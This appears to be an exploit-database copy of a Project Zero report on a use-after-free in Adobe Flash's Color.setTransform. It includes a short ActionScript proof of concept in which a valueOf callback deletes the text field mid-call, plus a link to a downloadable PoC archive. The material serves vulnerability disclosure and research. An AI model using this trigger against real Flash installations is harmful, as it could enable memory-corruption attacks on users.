24 lines
No EOL
551 B
Text
24 lines
No EOL
551 B
Text
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=451
|
|
|
|
If Color.setTransform is set to a transform that deletes the field it is called on, a UaF occurs. A PoC is as follows:
|
|
|
|
var tf:TextField = this.createTextField("tf",1,1,1,4,4)
|
|
|
|
var n = new Object();
|
|
|
|
n.valueOf = function () {
|
|
trace("here");
|
|
tf.removeTextField()
|
|
}
|
|
|
|
var o = {ra: n, rb:8};
|
|
|
|
var c = new Color(tf)
|
|
c.setTransform(o)
|
|
|
|
|
|
A sample swf and fla are attached.
|
|
|
|
|
|
Proof of Concept:
|
|
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39652.zip |